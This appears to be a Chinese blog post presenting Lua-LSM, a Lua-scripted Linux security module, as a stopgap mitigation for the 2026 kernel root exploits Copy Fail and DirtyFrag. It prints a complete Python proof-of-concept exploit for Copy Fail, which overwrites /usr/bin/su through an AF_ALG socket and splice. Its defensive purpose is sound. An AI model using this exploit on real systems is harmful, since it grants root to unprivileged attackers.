在篇一中,我们介绍了 Lua-LSM 项目的基本概念和使用方法。今天,我们用两个最近发生的真实安全漏洞场景,展示 Lua-LSM 如何在 79 字节内完成对内核提权漏洞的热缓解。
732 bytes · 攻击 PoC vs79 bytes · Lua-LSM 防御
Copy Fail:潜伏九年的内核提权漏洞
CVE-2026-31431,代号 Copy Fail,是 2026 年初被公开的一个 Linux 内核本地提权漏洞。它的根源并不新鲜——2017 年,内核加密子系统 algif_aead 的一次性能优化中,引入了一条错误的路径:在特定 socket 操作下,页缓存页面会被错误地路由到可写的内核目标地址。
利用这条路径,攻击者通过 splice() 系统调用就能向原本无权写入的文件执行精确写入。整个过程不依赖时间竞争,不使用硬编码内存地址——它确定性地工作,且只需要一个普通用户账号。几秒钟之后,root 就是你的了。
在多租户环境里,问题更加严峻。页缓存是整台宿主机共享的,一个容器被突破,所有容器的隔离性随之瓦解。Kubernetes 节点、CI/CD Runner、Agent 沙箱——这些都是直接暴露的场景。

















等不到补丁的空窗期
内核补丁的链路不短:backport 到 LTS、发行版测试、灰度发布——数周已经是理想情况。而 CVE-2026-31431 的 PoC 在补丁到达之前就已经在野传播。
这段窗口期里,传统的选择并不多:加载 SELinux/AppArmor 策略需要专业的维护成本,迁移到 Firecracker 微虚拟机意味着架构改动,而加载自定义内核模块需要更多的开发和测试周期。
有没有一种方式,能在几分钟内部署、不需要重启、不需要编译内核模块、代码量小到可以一眼看完?
LSM(Linux Security Module) 框架在文件访问、进程权限变更、socket 创建等关键路径上预埋了钩子。从 5.7 开始,eBPF 程序也可以注册为 LSM 模块——不需要编译 .ko,一段经过内核验证器检查的 eBPF 程序就能直接挂载到钩子上。
Lua-LSM 在此基础上又做了一层简化,不需要预编译,不依赖任何用户态工具:用 Lua 小程序编写防御逻辑,由内核运行时编译为字节码并自动挂载到关键路径。最终的脚本小到可以一眼看完,语义清晰到不需要注释也能读懂。

















79 字节对 732 字节
下面是真实的代码量对比。
攻击 PoC:
#!/usr/bin/env python3 import os as g,zlib,socket as s def d(x):return bytes.fromhex(x) def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0 f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) while i<len(e):c(f,i,e[i:i+4]);i+=4 g.system("su")
Lua-LSM 防御脚本:
return { name="cf", socket_create = function(f) if f==38 then return false end end }
压缩后(79 字节):
return{name="cf",socket_create=function(f) if f==38 then return false end end}
攻击程序 732 字节,精心构造 socket 和 splice 调用链,利用内核加密子系统的页面缓存缺陷完成提权。防御脚本压缩后 79 字节,拦截 socket_create 钩子,当协议族编号为 38(即AF_ALG)时返回false拒绝创建。
79 字节,比一条微博还短。但它做的事很简单:把攻击的入口堵死。socket 都建不起来,后续的利用链自然无从谈起。
防御脚本不到二十行核心逻辑,用 Lua 写成,语义清晰到任何一个有基础的开发人员都能看懂它在做什么。这不是代码量的竞赛,但代码量的对比本身说明了一个事实:好的防御不需要复杂。









一行命令加载,一行命令卸载
Lua-LSM 的设计目标就是极简到随手可用。不需要编译、不需要加载工具链、不需要写任何 C 代码——只需要往内核暴露的 sysfs 接口写入一行 Lua。
# 加载 echo 'return{name="cf",socket_create=function(f) if f==38 then return false end end}' > /sys/kernel/security/lua/register # 卸载 echo 'cf' > /sys/kernel/security/lua/unregister
加载之后,任何尝试创建AF_ALG socket 的非特权进程都会被内核直接拒绝。卸载之后不留任何痕迹,内核恢复原始行为。整个过程不需要重启,不需要修改任何配置文件。
Lua-LSM 如何工作?
Lua-LSM 脚本写入/sys/kernel/security/lua/register 后,内核编译该小程序为字节码,把逻辑挂载到 LSM 的socket_create 钩子上。
此后任何进程尝试创建 socket,LSM 都会先执行这段 79 字节的逻辑。如果协议族是AF_ALG (编号 38)——这正是 CVE-2026-31431 利用的入口——直接返回false拒绝。普通用户的 exploit 进程在第一步就被拦住。
DirtyFrag 小程序缓解方案
DirtyFrag 是 2026 年 4 月底由安全研究员 Hyunwoo Kim 公开的一个 Linux 内核本地提权漏洞。
DirtyFrag 的核心缺陷位于 Linux 网络子系统的 IPsec ESP 处理路径(esp4、esp6)和 RxRPC 协议(rxrpc)中。在接收网络数据包时,内核会直接在外部支持的页面上进行解密操作,这导致明文数据可能被未privileged 的应用程序引用或篡改。
漏洞的利用方式组合了两个页缓存内存缺陷,通过一个确定性的 4 字节 STORE 原语来覆盖受保护的内存。它不依赖时间窗口或竞态条件,而是利用逻辑 bug 来“弄脏 struct sk_buff 的 frag 成员”。
影响:该漏洞可以在所有主流 Linux 发行版上可靠地获取 root 权限,执行稳定,即使利用失败也不会导致系统崩溃。
Lua-LSM 防御小程序:
local kernel = require('kernel') local printk = kernel.printk localfunction log(fmt, ...) local s = string.format('dirtyfrag: ' .. fmt, ...) printk(s) end localfunction socket_create(family, t, protocol, kern) if family == 33then log('@_@ socket_create(AF_RXRPC) deny: %s', current:comm()) returnfalse end end localfunction socket_setsockopt(sock, level, optname) if level == 17and optname == 100then log('@_@ setsockopt(sockfd, IPPROTO_UDP, UDP_ENCAP) deny: %s', current:comm()) returnfalse end end return { name = "deny_dirtyfrag", socket_create = socket_create, socket_setsockopt = socket_setsockopt }
小程序拦截了 POC 利用到的 rxrpc 和 ESP 操作,可以同样的方法,把上述小程序文本直接写入/sys/kernel/security/lua/register 即可生效。
适合什么场景?
我们不想把 Lua-LSM 描述成银弹。它最适合的场景是窗口期防御——内核补丁尚未覆盖到你的生产环境,但你需要立刻做点什么来降低风险。
它也适合那些不想维护复杂 SELinux 策略的团队。一段 Lua 脚本,几行逻辑,部署和移除都只需要一条命令。对 CI/CD Runner、容器宿主机、多租户节点来说,这是一个足够轻量的临时缓解手段。
但请记住:这只是缓解(mitigation),不是修复(fix)。内核补丁到达后,应该以补丁为准。Lua-LSM 的价值在于填补补丁到达之前的那段空白——那段最容易被攻击者利用的窗口期。
防御不需要比攻击更复杂。它只需要在正确的地方,做正确的检查。
当前状态与版本说明
Important:Lua-LSM 目前仅在 Linux 6.6 内核版本的 ANCK(OpenAnolis Cloud Kernel)中开源,尚未发布正式的 Release 版本。如果你在其他内核版本或其他发行版中使用,当前不可用。
这意味着什么?Lua-LSM 的代码已经合入 ANCK 6.6 主线,你可以从源码编译体验,但还没有经过完整测试流程的正式发行版可用。对于生产环境,建议等待正式 Release 版本发布。
我们选择在这个时间点公开,是因为 CVE-2026-31431 恰好是 Lua-LSM 最直观的演示场景——79 字节应对 732 字节,一行命令加载,一行命令卸载。希望这个真实的例子能让你理解 Lua-LSM 的设计哲学:让内核安全策略的编写门槛降到最低。
最后
CopyFail 和 DrityFrag 提醒了一件事:现代内核的复杂性意味着漏洞从引入到被发现,可能潜伏数年。而我们应对的方式,不一定需要同样复杂。
732 字节的攻击程序,用 79 字节的一段小程序就能封堵。Lua-LSM 框架的设计初衷就是让防御逻辑足够简单、足够透明、足够可以被任何人审查。Lua-LSM 小程序只不过让这件事变得更加顺手。
在补丁到达之前,在正式 Release 可用之前,这或许是目前最安静的防御方式。
关于 Lua-LSM
Lua-LSM 已在龙蜥社区(OpenAnolis)正式开源,代码路径为 security/lua 目录。这是一个刚刚起步的项目,每一个关注它的人都是它早期最重要的贡献者。欢迎大家加入钉钉交流群(群号:162895003107)讨论 Lua-LSM 开源技术。
项目地址:
https://gitee.com/anolis/cloud-kernel
文档地址: https://github.com/openanolis/lua-lsm-kernel/wiki
—— 完 ——